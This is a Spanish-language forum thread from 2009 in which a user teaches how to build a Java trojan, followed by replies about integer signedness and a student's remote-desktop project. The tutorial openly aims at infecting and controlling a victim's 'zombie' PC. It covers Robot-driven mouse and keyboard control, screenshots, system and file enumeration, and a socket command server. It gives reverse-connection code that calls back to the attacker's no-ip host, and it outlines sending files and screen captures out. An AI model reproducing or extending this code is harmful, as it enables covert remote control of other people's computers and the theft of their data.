Foro de elhacker.net

Programación => Java => Mensaje iniciado por: egyware en 25 Agosto 2009, 16:14 pm



Título: Como crear un Troyano en Java
Publicado por: egyware en 25 Agosto 2009, 16:14 pm
Hola saludos, aqui estoy dando un aporte grandisimo, me he animado de ganas para copiar y pegar mi antiguo post de otro foro a acá para que lo vean.
Omitire el faq que hice hace tiempazo porque al parecer todo son hackers, le agradezco tambien a Casidiablo que estubo ayudandome con algunos algoritmos, en especial para enviar imagenes.
Bueno no les enviare mi source ni jar, porque no quiero que sean flojos hagan el suyo propio a mi me costo mucho!!!.
Post Orignal: Post en Tecnolust comunidad peruana (http://www.tecnolust.com/foro/index.php?topic=625.msg3485)

Conocimientos Previos
Antes de empezar
Debes saber el uso de ciertas clases
- Socket y  SocketServer (si ya sabes puedes probar SSLSocket), estas clases estan en java.net
- InputStream y OutputStream y todas sus derivadas, estas estan en java.io
- saber usar el Programa Telnet, es muy util a la hora de enviar comandos Entendibles
- saber Programar en Java, no te enseñare aqui si no sabes pregunta en otro tema o bajate manuales.
- Usar un IDE, te ayudara a editar mucho mas rápido tu codigo, probarlo.
- No importa el OS que uses, linux y windows son lo mismo para java (a excepcion de windows que es mas facil de implementar el autoejecutable reg...)


Esta obra está publicada bajo una Atribución-No Comercial 2.0 Chile de Creative Commons. Para ver una copia de esta licencia, visite http://creativecommons.org/licenses/by-nc/2.0/cl/.


Título: Controlando el PC
Publicado por: egyware en 25 Agosto 2009, 16:17 pm
Uso de la Clase que nos dara un gran poder sobre el pc infectado (desde ahora el pc zombie guajaajaa)
java.awt.Robot vee en http://java.sun.com/j2se/1.5.0/docs/api/java/awt/Robot.html


Citar
This class is used to generate native system input events for the purposes of test automation, self-running demos, and other applications where control of the mouse and keyboard is needed. The primary purpose of Robot is to facilitate automated testing of Java platform implementations.
Upss!!!!
Bueno resumidamente dice esta clase es solo para probar y testear implementacions de Java

Pero lo usaremos para otros motivos
-Constructor
Robot()
Robot(GraphicsDevice screen)
El primero se contruye para el monitor principal
El Segundo para un monitor que uno defina
-Metodos
createScreenCapture(java.awt.Rectangle screenRect) returns java.awt.image.BufferedImage
Permite obtener screenshoots de la pantalla o monitor zombie, su parametro es la dimesion a copiar
keyPress(int keycode) y keyRelease(int keycode)
Nos permitiran presionar y soltar teclas, las teclas estan definidas en java.awt.event.KeyEvent.VK_*, donde * es una tecla
tb si usamos char pero solo conteniendo letras en mayusculas como parametro se escribira la tecla correspondiente en mayuscula o minuscula dependiendo si tiene el bloqueo de mayuscula activado
mouseMove(int x, int y)
Moverá el mouse a la posicion indicada
mousePress(int buttons) y mouseRelease(int buttons), presionar o soltara el boton del mouse eso esta definido en java.awt.event.InputEvent.BUTTONX_MASK, donde X es igual a 1,2,3 que corresponden al boton izquierdo, centro, derecho respectivamente.

- Cuidados
Esta clase puede lazar una excepcion del tipo AWTExcepcion, asi que mucho cuidado, tratenla con amor, y en linux hay que tener permisos especiales a la aplicacion para lanzar eventos de bajo nivel.
Bueno eso es todo si quieren pueden revisar la pagina que les di tiene mas informacion sobre la clase.


Título: Obteniendo informacion util
Publicado por: egyware en 25 Agosto 2009, 16:36 pm
Hasta este punto creo a alguien ya se a topado con estas clases.
java.util.Properties y java.awt.Toolkit
Bueno estas clases nos daran cierta informacion util sobre el pc zombie, pero asi por si solas no haran nada, de por si nada, entonces hay que inicialisarlas


Código
  1. java.util.Properties propiedades = System.getProperties();
  2. java.awt.Toolkit toolkit = java.awt.Toolkit.getDefaultToolkit();
  3.  

ok
tenemos los datos inicialisados, pero que ganamos con eso
con Toolkit toolkit.getScreenSize();
obtenemos el tamaño de la pantalla que es util para obtener screenshoot

Properties propiedades.list(System.out);
Con esto obtenemos una lista de propiedades, con esa lista solo seleccionaremos
la que nos mas nos gusta como
os.name nombre del os
user.name nombre del usuario
.......

bueno eso es todo ahora espero que con esto creen una clase que sea capas de crear eventos de bajo nivel(Robot)
obtener informacion del sistema y realizar capturas de pantalla.
Asi como tarea haganlo!!! Enojado yo ya hice uno mejor al que tenia pero tiene ademas acceso a la consola(Cmd o bash) y registro de windows.
Espero que realicen esta clase y vean como controlan su propio pc jijiji.


Título: Obteniendo informacion util(2)
Publicado por: egyware en 25 Agosto 2009, 16:39 pm
Mostrar informacion sobre los ficheros en el pc.
Bueno esto no se si será taaaan util mas bien de curioso
Pero si puede ser util cuando nos encontramos algún pedofilo y denunciarlo y hacer algo bueno por el mundo.
Bueno entre otras cosas.
Clase a utilizar
java.io.File
primero que nada como mostramos los ficheros contenidos en el pc zombie  Huh
¿Como sabemos si es un windows o un linux? Porque el sistema de ficheros es distinto
Aunque con la repuesta anterior se sabe bien que os con cual estamos trabajando, pero hay otra forma mucho mas facil
File root[] = File.listRoots();
Con esto de inmediato obtenemos los archivos del directorio raíz.
Pero como si Windows no tiene un directorio raíz como los Linux!!!!!
Bueno en realidad no pero sin embargo el arreglo root en Windows contendrá las unidades de disco como A: B: C: D: ..... mientras que en un Linux (no estoy seguro) mostrara todos los archivos contenidos en / (directorio raíz), entonces ya sabemos cuales son sus archivos y/o directorios empezamos a trabajar con ellos.
Basta solo tomar un elemento del arreglo y usar el metodo listFiles() para mostrar los archivos contenidos en ese directorio, como nota nunca he probado con un archivo que lo que pasa siempre he tenido la precaución de solo usar directorios(haciendo la precaucion isDirectory()).

En Resumen un poco de codigo:

Código
  1. //getAbsolutePath() uso este metodo para mostrar la ruta completa del archivo involucrado
  2. File root[] = File.listRoots();
  3. //Mostrarlos
  4. for(int i=0;i<root.length;i++)
  5. System.out.println(root[i].getAbsolutePath());
  6. //tomando cualquiera
  7. File dirs[] = root[0].listFiles();
  8. for(int i=0;i<dirs.length;i++)
  9. System.out.println(dirs[i].getAbsolutePath());
  10. //ahora uno cualquiera
  11. File dirs[] = new File("C:\\Windows").listFiles();
  12. for(int i=0;i<dirs.length;i++)
  13. System.out.println(dirs[i].getAbsolutePath());
  14.  
Eso es todo, usen el ultimo metodo solo con la precaucion que de exista y sea directorio por que no he probado que es lo que pasa
y como Regalito  Sonreir
parte de mi codigo, de la clase que contrala el pc, que muestra los archivos del pc zombie

Código
  1. public String showFile(String parameter){
  2. try {
  3. StringBuilder sb = new StringBuilder();
  4. File[] mostrar = null;
  5. if (CS.CheckEqual("ROOT", parameter))mostrar = File.listRoots();
  6. else {
  7. File ver = new File(parameter);
  8. if(!ver.exists())
  9. return "No Existe\n\r";
  10. if(!ver.isDirectory())
  11. return "No es un Directorio\n\r";
  12. mostrar = ver.listFiles();
  13. }
  14. for(int i = 0;i <mostrar.length ;i++){
  15. sb.append('\r');
  16. sb.append(mostrar[i].getAbsoluteFile());
  17. sb.append('\n');
  18. }
  19. sb.append('\r');
  20. return sb.toString();
  21. } catch (Exception e){
  22. return "Error: "+e+"\n\r";
  23. }
  24. }
  25.  
Eso es todo, por hoy.
La proxima respuesta sera control remoto   ;D :P


Título: Control Remoto
Publicado por: egyware en 25 Agosto 2009, 16:42 pm
Hola a Todos
Como algunos se dieron cuenta puse una carita triste, porque este tema es muy dificil de implementar, aunque existe varias formas de hacerlo usando Comandos por Texto o comandos binarios, pero por comodidad de prueba lo hare por texto porque es mas facil de probar que el binario pero es mas lento en comunicacion que el binario, por ejemplo definimos un comando de mover el mouse
Binario
(byte)(int)(int)
el primer byte es el codigo para mover el mouse los 8 siguientes bytes son dos enteros que tienen la posicion (x,y) para mover el mouse
Algoritmo
leer un byte
revisar con un if o swicth si es igual al byte predefinido como MOVE
crear 2 variables x e y como enteras
leer un entero de 4 bytes y guardarlo en x
leer un entero de 4 bytes y guardarlo en y
mover el mouse a la posicion indicada
Nota: Cuidado los bytes del entero pueden estar en Big o Little Endian

Texto
(char ?)(char)
"MOVE 100 100\n"
la longitud del comando es desconocida pero sabemos que termina en un char y ese char es un salto de linea '\n'
a esto debe tratarse  de forma especial
Algoritmo
leer una linea
empieza con "MOVE"
crear una variable auxiliar parametro
parametro toma el mismo valor que la linea leida sin "MOVE "
buscar el indice del espacio ' '
crear variable x con el valor del numero que esta contenido en parametro desde 0 hasta el indice del espacio
crear variable y con el valor del numero que esta contenido en parametro desde indice del espacio + 1
mover el mouse el mouse a la posicion indicada

Bueno en resumen estamos metidos en un problema, como lo hacemos
bueno por recomendacion yo digo hacerlo en txt ya que con el programa Telnet podemos probar rapidamente pero sin embargo en binario deberiamos hacer un programa aparte para probar.


Título: Control Remoto (2)
Publicado por: egyware en 25 Agosto 2009, 16:44 pm
Clases a usar
java.net.ServerSocket
java.net.Socket

Programa para testear
Telnet

Primero que nada haremos un ejemplo de un servidor de eco
este ejemplo lanza IOException pero no los colocare para simplificar el codigo

Código
  1. import java.net.*;
  2. import java.io.*;
  3. public class Manejador implements Runnable{
  4.  private BufferedReader in;
  5.  private BufferedWriter out;
  6.  private Socket socket;
  7.  public Manejador(Socket socket){
  8.      //esto siempre lo haremos
  9.      this.socket = socket;
  10.      in = new BufferedReader(new InputStreamReader(socket.getInputStream()));
  11.      out = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream()));
  12.  }
  13.  public void run(){
  14.      String line;
  15.     while(true){
  16.      line = in.readLine();
  17.      out.write(line);
  18.      out.write("\n\r");
  19.      out.flush();
  20.     }
  21.  }
  22.  public static void main(String args[]){
  23.      int puerto = 4444;
  24.      ServerSocket servidor = new ServerSocket(puerto);
  25.      while(true){
  26.           new Thread(new Manejador(servidor.accept())).start();
  27.      }
  28.  
  29.  }
  30. }
  31.  
  32.  

Este servidor es simple, primero deben compilarlo y ejecutarlo
es posible que en windows salga alguna advertencia del firewall solo hagan click en desbloquear
despues de eso
escriben en su consola
telnet localhost 4444
luego cada cosa que escriban se les devolvera
bueno este ejemplo es para que conozcan un poco la mecanica de de un Servidor y cliente
si se dieron cuenta
tiene un bucle while que se repite siempre
luego lee un mensaje entrante (se bloquea hasta conseguir uno)
y lo escribe mas \n  y \r y libera el buffer(out.flush)
bueno eso es todo por el momento.
En el siguiente post concretaremos algo mejor.


Título: Control Remoto (3)
Publicado por: egyware en 25 Agosto 2009, 16:51 pm
Hola a todos, siguiendo el tema

Código
  1. public static void main(String args[]){
  2.      int puerto = 4444;
  3.      ServerSocket servidor = new ServerSocket(puerto);
  4.      while(true)
  5.              new Thread(new Manejador(servidor.accept())).start();
  6.  
  7. }
  8.  
  9.  
Pero que es esto  :huh:
Bueno antes de seguir les debo mas explicación
lo que hace este codigo se pone a la escucha en el puerto 4444,
pero ¿Qué es un puerto?
un puerto es una entrada o conexión a la internet (red), una computadora usa una direccion (IP) y un puerto para conectarse a otra computadora
como por ejemplo google.com y 80, google.com se traduce a una direccion ip, entonces uno para bajar contenido desde la internet generalmente (no siempre) uno se conecta al puerto 80 del computador remoto.

Siguiendo con la explicacion la clase ServerSocket se pone a la eschucha en el puerto 4444 en la direccion localhost (127.0.0.1), eso es lo que hace ese constructor, pero no solo con crearlo basta
hay que ponerse a la escucha servidor.accept() este metodo lo que hace es ponerse a la escucha y esperar una conexión(se bloquea hasta recibirla), entonces cuando llega una devuelve un objeto Socket con tal conexión, luego esa conexión se la pasamos como argumento a nuestro clase Manejador, el objeto recien creado se lo pasamos a Thread y le echamos andar el thread
un poco complicado eh!!!

Dentro del run es donde hacemos todo
bueno eso depende del programador como lo haga, pero yo prefiero hacer lo ahí.
Ahora nuestro servidor eco lo moficaremos solo en la parte donde esta el metodo run

Código
  1. public void run(){
  2.   //debes saber que omito las capturas de errores
  3.   //esta variable se usa para seguir la ejecución (done significa hecho) la inicializo false porque es natural decir que no esta listo
  4.   boolean done = false;
  5.   //esta variable se usa para almacenar la linea leida
  6.   String line;
  7.   //como no esta listo uso la negacion de done (!done)
  8.   while(!done){
  9.      //dentro del while aqui bucle while viene la magia (la magía como decia mi abuelo Q.E.P.D)
  10.      line = in.readLine().trim(); //al igual que el servidor eco, pero borramos los espacios que pueda tener (adelante o atras)
  11.      //vamos con la magia (redoble de tambores)
  12.      if(line.equalsIgnoreCase("Comando1")){
  13.         //eee lo logramos
  14.         //accion 1
  15.         out.write("Respuesta1");
  16.      }else
  17.      if(line.equalsIgnoreCase("Comando2")){
  18.        //otro más
  19.        //accion 2
  20.         out.write("Respuesta2");
  21.      }//..... y todos los que se te ocurra
  22.      //ves facil aa se me le olvidava
  23.     //aqui antes de salir del bloque while hacemos un flush de los datos
  24.     out.flush();
  25.   }
  26. }

Viste que facil
ahora es solo cuestión de inventar comandos
y acciones concretas
complementando con las primeras respuestas
ya tenemos nuestro troyano y poderlo probar de inmediato con el programa telnet
este programa correra hasta que tu inventes un comando para que done se haga true

Nota: Puedes modificar la Implementación de StringTokenizer para revisar comandos y argumentos actualmente lo tengo asi y me funciona de maravilla  ;D


Título: Concretanto el programa
Publicado por: egyware en 25 Agosto 2009, 16:56 pm
Bueno hasta el momento tenemos listo nuestro troyano
¿Pero como podemos infectar a otros pc?
¿Como hacemos que se conecte a nosotros?

Bueno la pregunta de como infectar estan en los temas de diseño de Malware (sumpongo :huh:)

Entonces como hacemos que se conecte???
Facil tenemos 2 metodos
conexión Directa
conexión Inversa
No explicare de que se tratan porque existe una explicacion mejor en otros foros de aqui pero hare un resumen de ellas
conexión Directa
Se trata de que el pc zombie se pone a la escucha y espera conecciónes
Ventajas:
    - No se ninguna
Desventajas
    - Bloqueo Firewall
    - Debes buscar la IP del infectado (las mayoria de las IP son dinámicas  Enojado)

PC Zombie


Código
  1. ServerSocket server = ServerSocket(IP_del_PC, numero_de_conecciones, Puerto);
  2. Socket s = server.accept();
  3. .....
  4.  

PC Cliente (osea el tuyo)


Código
  1. Socket s = new Socket(IP_de_la_Victima, puerto)
  2. .....
  3.  

conexión  Inversa   
Se trata de el pc zombie se conecta a ti
Ventajas
    - No buscas la IP del pc infectado
Desventajas
    - Debes desbloquear puertos del router (no hay problema existen muchos manuales  ::))
    - Debes tener una direccion no-IP(ó un nomnbre DNS) en caso de que tengas una direccion IP dinámica
PC Zombie

Código
  1. Socket s = new Socket(nombre_cualquiera.no-ip.info, puerto)
  2. ....
  3.  

PC Cliente (osea el tuyo)
Código
  1. ServerSocket server = ServerSocket(nombre_cualquiera.no-ip.info, numero_de_conecciones, Puerto);
  2. Socket s = server.accept();
  3. .....
  4.  
Asumiendo nombre_cualquiera.no-ip.info es una direccion no-ip tuya actualizada a la ip que tienes


Título: Añadidos
Publicado por: egyware en 25 Agosto 2009, 17:07 pm
Hola he terminado de transcribir todo mis mensajes y creo que faltaron algunas cosas, como por ejemplo tranferencia de Archivos y Imagenes, bueno voy hacer un esbozo de como hacerlo.

Para la pantalla
Debes capturar la pantalla usando la clase Robot, luego debes escribirla en un Arreglo de bytes. Para eso puedes usar las clases que estan en javax.imageio que permiten escribir y leer imagenes y para el Arreglo de Bytes usa la clase ByteArrayOutputStream(creo que se llama asi) pero puedes encontrartelas en el paquete java.io. Luego envias el arreglo de bytes usando algun protocolo.
El post donde le preguntaba a casidiablo como enviar imagenes debe estar perdido por aqui si se dan la flojera pueden buscarlo yo no lo he encontrado.

Para los archivos
Es casi lo mismo que la pantalla pero te recomiendo que uses un simple arreglo de bytes de 512, 1024,... osea un buffer porque si subes un archivo de golpe a la memoria tu troyano se caera. Entonces inventas un sistema que te permita enviar de a pedazos y reconstruirlo en tu pc.

Para esto yo invente sistemas apartes, osea realizo otras conexiones, con protocolos distintos.
Bueno eso es todo, no tengo mas que enseñarles y/o mostrarles.
Me despido espero que sea de su compresión y agrado.
Adios
;D ;D ;D





Título: Re: Como crear un Troyano en Java
Publicado por: kinos en 25 Agosto 2009, 17:59 pm
Muy interesante tu post   :o ;-)


Título: Re: Como crear un Troyano en Java
Publicado por: h0oke en 26 Agosto 2009, 04:01 am
Código
  1. int puerto = 4444;

Una pregunta... existen puertos negativos?


Título: Re: Como crear un Troyano en Java
Publicado por: egyware en 26 Agosto 2009, 04:11 am
Que yo sepa no, ademas los puertos son enteros sin signo de 2 bytes.
Asi que tienes un limite de 65000(aprox) puertos pero los primeros 1000 son reservados.


PS: redaccion mala!!


Título: Re: Como crear un Troyano en Java
Publicado por: h0oke en 26 Agosto 2009, 04:36 am
:O Entonces en java el int solo implica enteros sin signo?


Título: Re: Como crear un Troyano en Java
Publicado por: [u]nsigned en 26 Agosto 2009, 06:09 am
Supongo que depende de si la JVM trabja a 32 o 64bits. Pero no existe una cosa como unsigned int en Java.

[offtopic]no es un lenguaje positivo[/offtopic]

De modo que la unica forma de hacerle un 'cast' a enteros positivos es mediante algun algoritmo propio con condicionales.

Saludos


Título: Re: Como crear un Troyano en Java
Publicado por: h0oke en 26 Agosto 2009, 12:11 pm
Gracias por la aclaración Facu.


Título: Re: Como crear un Troyano en Java
Publicado por: juancho77 en 28 Agosto 2009, 05:22 am
La instrucción:

Código
  1. int i=-1;

es totalmente válida. No se por qué dicen que no se pueden guardar enteros negativos en int.

ON-TOPIC: El manual esta muy bueno, pero esta muy mal redactado. Podrías empeñarte en desarrollar mejor las ideas.


Título: Re: Como crear un Troyano en Java
Publicado por: egyware en 28 Agosto 2009, 05:33 am
Perdon, por la mala redaccion.
Claro que almacenar un negativo en un int es valido pero... si quieres usar ese numero negativo para abrir un puerto es posible que salga una excepcion!!
Adios.


Título: Re: Como crear un Troyano en Java
Publicado por: [u]nsigned en 28 Agosto 2009, 05:36 am
La instrucción:

Código
  1. int i=-1;

es totalmente válida. No se por qué dicen que no se pueden guardar enteros negativos en int.

En realidad lo que se está diciendo es que no se puede declarar un int como solo positivo, como se haría en C/C++ con
Código
  1. unsigned int enteroPositivo;

Saludos


Título: Re: Como crear un Troyano en Java
Publicado por: 1mpuls0 en 28 Agosto 2009, 07:37 am
juancho77
Citar
No se por qué dicen que no se pueden guardar enteros negativos en int.

Me parece que leiste o entendiste mal.

dynyck
Citar
Una pregunta... existen puertos negativos?

egyware
Citar
Claro que almacenar un negativo en un int es valido pero... si quieres usar ese numero negativo para abrir un puerto es posible que salga una excepcion!!


Citar
El manual esta muy bueno, pero esta muy mal redactado. Podrías empeñarte en desarrollar mejor las ideas.

Estoy deacuerdo... Muy interesante post


Saludos


Título: Re: Como crear un Troyano en Java
Publicado por: joinko en 14 Enero 2011, 02:54 am
con un condicional muy simple solucionas el caso de que te salgan puertos negativos. Es más supongo que se deberian reestringir aún más no soloo a negativos si no también a puertos conocidos.

supongo que ya lo tendréis claro muchos antes que lo diga

Simplemente: Muy buena la info!!  Que no se acabe este post!



Título: Re: Como crear un Troyano en Java
Publicado por: Chivin en 4 Diciembre 2011, 03:31 am
Ola amigos soy nuevo en el foro y veo las fechas y espero que el post no este completamente olvidado  :D

Me dejaron un trabajo escolar de algo semejante, lo mismo pero sencillo. Hasta ahora estoy trabajando en la aplicación, pero en mi misma computadora y ya pude hacer las capturas de pantalla y las iteraciones con el mouse (lo estoy ejecutando en la misma computadora), tengo los siguientes problemas y de los cuales no encuentro mucho, uno es como puedo ver el puntero de la computadora (la que en teoría sería la remota) y el otro problemita es que no puedo escribir en la máquina que controlo, bueno puede ser que se deba a que es la misma computadora, mas sin embargo me ha estraño porque parece como si se quedara ciclado en el evento, puse un println para que muestre el código de la tecla presionada y lo imprime hasta que no ocurre un evento.

Espero darme a entender
gracias


Título: Re: Como crear un Troyano en Java
Publicado por: egyware en 4 Diciembre 2011, 03:38 am
Hola, bueno creo que los moderadores se van a enojar por revivir post viejos bueno espero que no cierren este tema
Raro no me cargan las paginas de Oracle, pero te dejo una pista para que investigues,con la clase MouseInfo tu puedes saber la posición del Mouse y con Robot tu puedes escribir en el teclado (remoto).
Para saber la posición del mouse te recomiendo que le des un poco de tiempo cuando se ejecuta el main loop de tu programa para capturar la posición del mouse.

http://docs.oracle.com/javase/1.5.0/docs/api/java/awt/MouseInfo.html
http://docs.oracle.com/javase/1.5.0/docs/api/java/awt/Robot.html


Saludos!!!


Título: Re: Como crear un Troyano en Java
Publicado por: Chivin en 4 Diciembre 2011, 04:30 am
Ola egyware gracias por el dato y espero que no se enojen los moderadores  :D
 Checo el dato de MoseInfo. El programa que tengo estoy utilizando la clase Robot para hacer las capturas y los eventos del Mouse, eso ya lo tengo y creo que no me he dado a entender, quisiera hacer algo parecido a una función de team viewer la cual es la de ver el puntero remoto.

En cuanto al teclado si lo he tratado con la clase robot, más específicamente Robot.keypress(keycode) es solo que presiono la tecla y parece como si la dejara presionada y el programa sigue así hasta que ocurre otro evento, bien haga click o minimice la pantalla  :-\.

muchas gracias por los consejos investigaré al respecto y cuando logré resolver el problema haré un post con los resultados  ;D.


Título: Re: Como crear un Troyano en Java
Publicado por: egyware en 4 Diciembre 2011, 04:55 am
La clase MouseInfo de dice donde está el mouse(pero no la imagén de este), y al usar Robot KeyPress debes hacer KeyRelease tambien :P para que las desprecione :P :P :P :P

Saludos!


Título: Re: Como crear un Troyano en Java
Publicado por: Chivin en 4 Diciembre 2011, 05:14 am
De nuevo gracias egyware  :o me acabas de dar una buena idea, trabajare en ella y posteriormente mostraré los resultados gracias, haber que alternativa encuentro para mostrar el apuntador remoto ya se me ocurrirá algo sino puedo con esta idea.

 ;-) ;-) ;-) ;-) ;-) ;-) ;-)

Saludos  ;)